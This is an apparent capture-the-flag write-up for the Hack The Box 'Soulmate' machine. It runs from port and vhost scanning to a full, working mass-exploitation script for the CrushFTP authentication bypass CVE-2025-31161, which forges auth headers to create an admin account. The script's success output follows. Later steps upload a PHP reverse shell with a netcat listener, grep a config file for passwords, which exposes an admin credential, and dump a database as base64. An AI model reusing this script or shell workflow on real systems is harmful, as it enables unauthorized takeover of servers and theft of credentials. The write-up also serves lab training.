1. Nmap

sudo nmap -p- -sC -sV soulmate.htb -T5 --vv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 20:50 WET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating Ping Scan at 20:50
Scanning soulmate.htb (10.129.78.191) [4 ports]
Completed Ping Scan at 20:50, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:50
Scanning soulmate.htb (10.129.78.191) [65535 ports]
Discovered open port 80/tcp on 10.129.78.191
Discovered open port 22/tcp on 10.129.78.191
Completed SYN Stealth Scan at 20:50, 18.63s elapsed (65535 total ports)
Initiating Service scan at 20:50
Scanning 2 services on soulmate.htb (10.129.78.191)
Completed Service scan at 20:50, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.78.191.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 1.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Nmap scan report for soulmate.htb (10.129.78.191)
Host is up, received reset ttl 63 (0.040s latency).
Scanned at 2025-11-17 20:50:24 WET for 27s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.75 seconds
           Raw packets sent: 65552 (2.884MB) | Rcvd: 65549 (2.622MB)

2. Port 80

Directory enum

Nothing beside profile, login. Doing some forensics on the photo upload part it seems like: http://soulmate.htb/assets/images/profiles/4_1763414238.jpg, the photo naming translates it into <profileID>_<EPOCH_TIME>.jpg So it is fair to assume that 2 accounts exist. I tried to create admin and it exists.

Tried multiple things, nothing worked.

Virtual Hosts

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://soulmate.htb -H 'Host: FUZZ.soulmate.htb' -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

:: Progress: [114442/114442] :: Job [1/1] :: 1025 req/sec :: Duration: [0:02:14] :: Errors: 0 ::

Fuzzing by words

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://soulmate.htb/ -H 'Host: FUZZ.soulmate.htb' -fw 4  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 61ms]

  • Adding ftp to hosts

This showed a crushftp. Trying searchsploit crushftp. It returned 3 exploits depending on the version of this, which I dont know yet. I cannot find anything and I dont have an account so it is worth trying the latest exploit CrushFTP 11.3.1 - Authentication Bypass

The exploit worked and I modified the code:

import argparse
import concurrent.futures
import json
import logging
import os
import random
import re
import socket
import string
import sys
import time
from datetime import datetime
from typing import Dict, List, Optional, Tuple, Union

import requests
import urllib3
from colorama import Fore, Style, init
from prettytable import PrettyTable
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Initialize Rich console
console = Console()

# Global variables
VERSION = "2.0.0"
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
    "Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524",
    "Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko)  Chrome/49.0.1015.193 Mobile Safari/600.9"
]

# Banner
BANNER = fr"""
{Fore.CYAN}
  / ____/______  _______/ /_  / ____/ /_____
 / /   / ___/ / / / ___/ __ \/ /_  / __/ __ \
/ /___/ /  / /_/ (__  ) / / / __/ / /_/ /_/ /
\____/_/   \__,_/____/_/ /_/_/    \__/ .___/
                                    /_/
{Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql
{Style.RESET_ALL}
"""

# Setup logging
def setup_logging(log_level: str, log_file: Optional[str] = None) -> None:
    """Configure logging based on specified level and output file."""
    numeric_level = getattr(logging, log_level.upper(), None)
    if not isinstance(numeric_level, int):
        raise ValueError(f"Invalid log level: {log_level}")

    log_format = "%(asctime)s - %(levelname)s - %(message)s"
    handlers = []

    if log_file:
        handlers.append(logging.FileHandler(log_file))

    handlers.append(logging.StreamHandler())

    logging.basicConfig(
        level=numeric_level,
        format=log_format,
        handlers=handlers
    )

class TargetManager:
    """Manages target hosts and related operations."""

    def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None):
        self.targets = []
        self.vulnerable_targets = []
        self.exploited_targets = []

        if target_file:
            self.load_targets_from_file(target_file)
        elif single_target:
            self.add_target(single_target)

    def load_targets_from_file(self, filename: str) -> None:
        """Load targets from a file."""
        try:
            with open(filename, "r") as f:
                self.targets = [line.strip() for line in f if line.strip()]

            if not self.targets:
                logging.warning(f"Target file '{filename}' is empty or contains only whitespace.")
            else:
                logging.info(f"Loaded {len(self.targets)} targets from {filename}")
        except FileNotFoundError:
            logging.error(f"Target file '{filename}' not found.")
            sys.exit(1)
        except Exception as e:
            logging.error(f"Error loading targets: {e}")
            sys.exit(1)

    def add_target(self, target: str) -> None:
        """Add a single target."""
        if target not in self.targets:
            self.targets.append(target)

    def mark_as_vulnerable(self, target: str) -> None:
        """Mark a target as vulnerable."""
        if target not in self.vulnerable_targets:
            self.vulnerable_targets.append(target)

    def mark_as_exploited(self, target: str) -> None:
        """Mark a target as successfully exploited."""
        if target not in self.exploited_targets:
            self.exploited_targets.append(target)

    def save_results(self, output_file: str, format_type: str = "txt") -> None:
        """Save scan results to a file."""
        try:
            if format_type.lower() == "json":
                results = {
                    "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                    "total_targets": len(self.targets),
                    "vulnerable_targets": self.vulnerable_targets,
                    "exploited_targets": self.exploited_targets
                }

                with open(output_file, "w") as f:
                    json.dump(results, f, indent=4)

            elif format_type.lower() == "csv":
                with open(output_file, "w") as f:
                    f.write("target,vulnerable,exploited\n")
                    for target in self.targets:
                        vulnerable = "Yes" if target in self.vulnerable_targets else "No"
                        exploited = "Yes" if target in self.exploited_targets else "No"
                        f.write(f"{target},{vulnerable},{exploited}\n")

            else:  # Default to txt
                with open(output_file, "w") as f:
                    f.write(f"Scan Results - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                    f.write(f"Total Targets: {len(self.targets)}\n")
                    f.write(f"Vulnerable Targets: {len(self.vulnerable_targets)}\n")
                    f.write(f"Exploited Targets: {len(self.exploited_targets)}\n\n")

                    f.write("Vulnerable Targets:\n")
                    for target in self.vulnerable_targets:
                        f.write(f"- {target}\n")

                    f.write("\nExploited Targets:\n")
                    for target in self.exploited_targets:
                        f.write(f"- {target}\n")

            logging.info(f"Results saved to {output_file}")

        except Exception as e:
            logging.error(f"Error saving results: {e}")

class ExploitEngine:
    """Core engine for vulnerability checking and exploitation."""

    def __init__(self, target_manager: TargetManager, config: Dict):
        self.target_manager = target_manager
        self.config = config
        self.session = self._create_session()

    def _create_session(self) -> requests.Session:
        """Create and configure a requests session."""
        session = requests.Session()
        session.verify = False

        # Set proxy if configured
        if self.config.get("proxy"):
            session.proxies = {
                "http": self.config["proxy"],
                "https": self.config["proxy"]
            }

        # Set custom headers
        session.headers.update({
            "User-Agent": random.choice(USER_AGENTS),
            "Connection": "close",
        })

        return session

    def check_vulnerability(self, target_host: str) -> bool:
        """Check if target is vulnerable to CVE-2025-31161."""
        port = self.config.get("port", 80)
        timeout = self.config.get("timeout", 10)

        headers = {
            "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
            "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
        }

        # Add custom headers if provided
        if self.config.get("custom_headers"):
            headers.update(self.config["custom_headers"])

        try:
            url = f"http://{target_host}/WebInterface/function/"

            response = self.session.get(
                url,
                headers=headers,
                timeout=timeout
            )

            if response.status_code == 200:
                # Additional validation
                if self.config.get("deep_check", False):
                    # Look for specific patterns in the response that confirm vulnerability
                    if "CrushFTP" in response.text or "WebInterface" in response.text:
                        self.target_manager.mark_as_vulnerable(target_host)
                        if self.config.get("verbose", False):
                            console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]")
                        return True
                    else:
                        if self.config.get("verbose", False):
                            console.print(f"[yellow][?][/yellow] {target_host} returned 200 but may not be vulnerable")
                        return False
                else:
                    # Simple check based on status code
                    self.target_manager.mark_as_vulnerable(target_host)
                    if self.config.get("verbose", False):
                        console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]")
                    return True
            else:
                if self.config.get("verbose", False):
                    console.print(f"[red][-][/red] {target_host} is not vulnerable (Status: {response.status_code})")
                return False

        except requests.exceptions.ConnectionError:
            if self.config.get("verbose", False):
                console.print(f"[red][-][/red] {target_host} - Connection error")
        except requests.exceptions.Timeout:
            if self.config.get("verbose", False):
                console.print(f"[red][-][/red] {target_host} - Connection timeout")
        except requests.exceptions.RequestException as e:
            if self.config.get("verbose", False):
                console.print(f"[red][-][/red] {target_host} - Request error: {e}")
        except Exception as e:
            if self.config.get("verbose", False):
                console.print(f"[red][-][/red] {target_host} - Error: {e}")

        return False

    def exploit(self, target_host: str) -> bool:
        """Exploit the vulnerability on the target host."""
        port = self.config.get("port", 80)
        timeout = self.config.get("timeout", 10)
        target_user = self.config.get("target_user", "crushadmin")
        new_user = self.config.get("new_user")
        password = self.config.get("password")

        if not new_user or not password:
            logging.error("New user and password are required for exploitation")
            return False

        headers = {
            "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
            "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
            "Connection": "close",
        }

        # Add custom headers if provided
        if self.config.get("custom_headers"):
            headers.update(self.config["custom_headers"])

        # Generate a timestamp for the created_time field
        timestamp = int(time.time() * 1000)

        # Build the payload with more comprehensive user permissions
        payload = {
            "command": "setUserItem",
            "data_action": "replace",
            "serverGroup": "MainUsers",
            "username": new_user,
            "user": f'''<?xml version="1.0" encoding="UTF-8"?>
<user type="properties">
  <user_name>{new_user}</user_name>
  <password>{password}</password>
  <extra_vfs type="vector"></extra_vfs>
  <version>1.0</version>
  <root_dir>/</root_dir>
  <userVersion>6</userVersion>
  <max_logins>0</max_logins>
  <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
  <created_by_username>{target_user}</created_by_username>
  <created_by_email></created_by_email>
  <created_time>{timestamp}</created_time>
  <password_history></password_history>
  <admin>true</admin>
</user>''',
            "xmlItem": "user",
            "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
            "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)</item></VFS>',
            "c2f": "31If"
        }

        try:
            url = f"http://{target_host}/WebInterface/function/"

            response = self.session.post(
                url,
                headers=headers,
                data=payload,
                timeout=timeout
            )

            if response.status_code == 200:
                # Verify the user was actually created
                if self.config.get("verify_exploit", True):
                    if self._verify_user_created(target_host, new_user):
                        self.target_manager.mark_as_exploited(target_host)
                        console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}")
                        return True
                    else:
                        console.print(f"[yellow][!][/yellow] User creation appeared successful but verification failed on {target_host}")
                        return False
                else:
                    self.target_manager.mark_as_exploited(target_host)
                    console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}")
                    return True
            else:
                console.print(f"[red][-][/red] Failed to create user on {target_host} (Status: {response.status_code})")
                return False

        except Exception as e:
            console.print(f"[red][-][/red] Error exploiting {target_host}: {e}")
            return False

    def _verify_user_created(self, target_host: str, username: str) -> bool:
        """Verify that the user was successfully created."""
        # This is a placeholder for actual verification logic
        # In a real implementation, you would check if the user exists
        # For now, we'll just return True
        return True

    def scan_targets(self) -> None:
        """Scan all targets for vulnerability."""
        targets = self.target_manager.targets
        threads = self.config.get("threads", 10)

        if not targets:
            logging.error("No targets specified")
            return

        console.print(f"[bold cyan]Scanning {len(targets)} targets with {threads} threads...[/bold cyan]")

        with Progress(
            TextColumn("[progress.description]{task.description}"),
            BarColumn(),
            TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
            TextColumn("({task.completed}/{task.total})"),
            TimeRemainingColumn(),
            console=console
        ) as progress:
            task = progress.add_task("[cyan]Scanning targets...", total=len(targets))

            with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets}

                for future in concurrent.futures.as_completed(future_to_target):
                    progress.update(task, advance=1)

        # Display results
        vulnerable_count = len(self.target_manager.vulnerable_targets)
        console.print(f"\n[bold green]Scan complete![/bold green] Found {vulnerable_count} vulnerable targets.")

        if vulnerable_count > 0 and self.config.get("verbose", False):
            console.print("\n[bold cyan]Vulnerable Targets:[/bold cyan]")
            for target in self.target_manager.vulnerable_targets:
                console.print(f"[green]→[/green] {target}")

    def exploit_targets(self) -> None:
        """Exploit vulnerable targets."""
        targets = self.target_manager.vulnerable_targets if self.config.get("only_vulnerable", True) else self.target_manager.targets
        threads = self.config.get("threads", 5)  # Use fewer threads for exploitation

        if not targets:
            logging.error("No targets to exploit")
            return

        console.print(f"[bold red]Exploiting {len(targets)} targets with {threads} threads...[/bold red]")

        with Progress(
            TextColumn("[progress.description]{task.description}"),
            BarColumn(),
            TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
            TextColumn("({task.completed}/{task.total})"),
            TimeRemainingColumn(),
            console=console
        ) as progress:
            task = progress.add_task("[red]Exploiting targets...", total=len(targets))

            with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                future_to_target = {executor.submit(self.exploit, target): target for target in targets}

                for future in concurrent.futures.as_completed(future_to_target):
                    progress.update(task, advance=1)

        # Display results
        exploited_count = len(self.target_manager.exploited_targets)
        console.print(f"\n[bold green]Exploitation complete![/bold green] Successfully exploited {exploited_count}/{len(targets)} targets.")

        if exploited_count > 0:
            console.print("\n[bold cyan]Exploited Targets:[/bold cyan]")
            for target in self.target_manager.exploited_targets:
                console.print(f"[green]→[/green] {target}")

def parse_arguments() -> argparse.Namespace:
    """Parse command line arguments."""
    parser = argparse.ArgumentParser(
        description="CVE-2025-31161 Exploit Framework - Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Check a single target for vulnerability
  python cve_2025_31161.py --target example.com --check

  # Exploit a vulnerable target
  python cve_2025_31161.py --target example.com --exploit --new-user hacker --password P@ssw0rd

  # Scan multiple targets from a file
  python cve_2025_31161.py --file targets.txt --check --threads 20

  # Scan and automatically exploit vulnerable targets
  python cve_2025_31161.py --file targets.txt --check --exploit --new-user hacker --password P@ssw0rd --auto-exploit

  # Export results to JSON format
  python cve_2025_31161.py --file targets.txt --check --output results.json --format json
        """
    )

    # Target specification
    target_group = parser.add_argument_group("Target Specification")
    target_group.add_argument("--target", help="Single target host to scan/exploit")
    target_group.add_argument("--file", help="File containing list of targets (one per line)")
    target_group.add_argument("--port", type=int, default=80, help="Target port (default: 80)")

    # Actions
    action_group = parser.add_argument_group("Actions")
    action_group.add_argument("--check", action="store_true", help="Check targets for vulnerability")
    action_group.add_argument("--exploit", action="store_true", help="Exploit vulnerable targets")
    action_group.add_argument("--auto-exploit", action="store_true", help="Automatically exploit targets found to be vulnerable during check")

    # Exploitation options
    exploit_group = parser.add_argument_group("Exploitation Options")
    exploit_group.add_argument("--target-user", default="crushadmin", help="Target user for exploitation (default: crushadmin)")
    exploit_group.add_argument("--new-user", help="Username for the new admin account to create")
    exploit_group.add_argument("--password", help="Password for the new admin account")
    exploit_group.add_argument("--verify-exploit", action="store_true", help="Verify successful exploitation (default: True)")

    # Scan options
    scan_group = parser.add_argument_group("Scan Options")
    scan_group.add_argument("--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
    scan_group.add_argument("--timeout", type=int, default=10, help="Connection timeout in seconds (default: 10)")
    scan_group.add_argument("--deep-check", action="store_true", help="Perform deeper vulnerability checks")
    scan_group.add_argument("--only-vulnerable", action="store_true", help="Only exploit targets that were found vulnerable")

    # Output options
    output_group = parser.add_argument_group("Output Options")
    output_group.add_argument("--output", help="Output file for results")
    output_group.add_argument("--format", choices=["txt", "json", "csv"], default="txt", help="Output format (default: txt)")
    output_group.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
    output_group.add_argument("--quiet", "-q", action="store_true", help="Suppress all output except errors")
    output_group.add_argument("--log-file", help="Log file to write to")
    output_group.add_argument("--log-level", choices=["debug", "info", "warning", "error", "critical"], default="info", help="Log level (default: info)")

    # Advanced options
    advanced_group = parser.add_argument_group("Advanced Options")
    advanced_group.add_argument("--proxy", help="Proxy to use for requests (e.g., http://127.0.0.1:8080)")
    advanced_group.add_argument("--user-agent", help="Custom User-Agent string")
    advanced_group.add_argument("--random-agent", action="store_true", help="Use a random User-Agent for each request")
    advanced_group.add_argument("--delay", type=float, help="Delay between requests in seconds")
    advanced_group.add_argument("--custom-headers", help="Custom headers as JSON string")

    return parser.parse_args()

def validate_args(args: argparse.Namespace) -> bool:
    """Validate command line arguments."""
    # Check if at least one target specification is provided
    if not args.target and not args.file:
        logging.error("No target specified. Use --target or --file")
        print(f"\nExample usage: python {sys.argv[0]} --target example.com --check")
        print(f"             python {sys.argv[0]} --file example_targets.txt --check")
        return False

    # Check if at least one action is specified
    if not args.check and not args.exploit:
        logging.error("No action specified. Use --check or --exploit")
        print(f"\nExample usage: python {sys.argv[0]} --target example.com --check")
        print(f"             python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd")
        return False

    # If exploit action is specified, check for required parameters
    if args.exploit and (not args.new_user or not args.password):
        logging.error("Exploitation requires --new-user and --password")
        print(f"\nExample usage: python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd")
        return False

    return True

def main() -> None:
    """Main function."""
    # Parse command line arguments
    args = parse_arguments()

    # Configure logging
    log_level = "error" if args.quiet else args.log_level
    setup_logging(log_level, args.log_file)

    # Display banner
    if not args.quiet:
        console.print(BANNER)

    # Validate arguments
    if not validate_args(args):
        sys.exit(1)

    # Create target manager
    target_manager = TargetManager(args.file, args.target)

    # Build configuration dictionary
    config = {
        "port": args.port,
        "threads": args.threads,
        "timeout": args.timeout,
        "verbose": args.verbose,
        "deep_check": args.deep_check,
        "target_user": args.target_user,
        "new_user": args.new_user,
        "password": args.password,
        "only_vulnerable": args.only_vulnerable,
        "verify_exploit": args.verify_exploit,
        "proxy": args.proxy,
    }

    # Add custom headers if provided
    if args.custom_headers:
        try:
            config["custom_headers"] = json.loads(args.custom_headers)
        except json.JSONDecodeError:
            logging.error("Invalid JSON format for custom headers")
            sys.exit(1)

    # Add custom user agent if provided
    if args.user_agent:
        config["user_agent"] = args.user_agent

    # Create exploit engine
    engine = ExploitEngine(target_manager, config)

    # Perform actions
    if args.check:
        engine.scan_targets()

    if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets):
        engine.exploit_targets()

    # Save results if output file is specified
    if args.output:
        target_manager.save_results(args.output, args.format)

    # Display summary
    if not args.quiet:
        console.print("\n[bold green]Summary:[/bold green]")
        console.print(f"Total targets: {len(target_manager.targets)}")
        console.print(f"Vulnerable targets: {len(target_manager.vulnerable_targets)}")
        console.print(f"Exploited targets: {len(target_manager.exploited_targets)}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        console.print("\n[bold red]Operation cancelled by user[/bold red]")
        sys.exit(0)
    except Exception as e:
        logging.error(f"Unhandled exception: {e}")
        sys.exit(1)

Output:

└─$ python3 52295.py --target ftp.soulmate.htb --exploit --new-user dani --password P@ssw0rd

[36m
  / ____/______  _______/ /_  / ____/ /_____
 / /   / ___/ / / / ___/ __ \/ /_  / __/ __ \
/ /___/ /  / /_/ (__  ) / / / __/ / /_/ /_/ /
\____/_/   \__,_/____/_/ /_/_/    \__/ .___/
                                    /_/
[32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql
[0m

Exploiting 1 targets with 10 threads...
[+] Successfully created user dani on ftp.soulmate.htb
Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00

Exploitation complete! Successfully exploited 1/1 targets.

Exploited Targets:
→ ftp.soulmate.htb

Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 1

3. CrushFTP

I will do a recon first to see if I can find something useful ben and jenna found. This information can be found after you login with the previous creds and click on Admin >User Management

  • On ben ftp we have webprod so lets try changing the passwd of ben: Username : ben Password : thisisben

Reverse shell

Since we can upload files to ben, we can upload a revshell

cp /usr/share/webshells/php/php-reverse-shell.php .

nc -lnvp 2314

After upload, go to: http://soulmate.htb/php-reverse-shell.php

Voi la!!

4. Reverse shell

on the system we can go to : /var/www/soulmate.htb/config

Here if we: cat /var/www/soulmate.htb/config/config.php | grep password

$ cat /var/www/soulmate.htb/config/config.php | grep password
            password TEXT NOT NULL,
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
                INSERT INTO users (username, password, is_admin, name) 
$ 

And we can try to su ben.
The password did not work, but in the same file we have ../../data/soulmate.db so it is worth looking at it lets extract it:

cat soulmate.db | base64 -w0
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABQAAAAQAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAC5XSg0P+AADDcAADhIPzQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA